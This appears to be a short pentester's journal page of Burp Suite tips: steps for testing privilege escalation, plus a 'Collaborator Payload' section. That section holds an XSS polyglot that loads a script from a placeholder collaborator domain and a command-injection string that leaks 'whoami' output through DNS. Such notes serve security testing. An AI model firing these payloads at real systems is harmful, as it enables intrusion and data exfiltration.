Burpsuite - Barengsinau Journal

Burpsuite Nice tips

Testing for privilege escalation

Settings -> Sessions -> add sessions handling rules -> on Rule action select specific cookies
Go to target -> compare sitemaps -> use current sitemap -> use only selected branches -> request map 1 again
🔗 Reference: https://portswigger.net/burp/documentation/desktop/testing-workflow/access-controls/privilege-escalation

Collaborator Payload

</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source), s.stack=Error().stack, s.src=(/,/+/yourcollaboratordomain/).slice(2), document.documentElement.appendChild(s))//'>

& nslookup `whoami`.burp-collaborator-subdomain &

Articles

101 - Red Teaming Nmap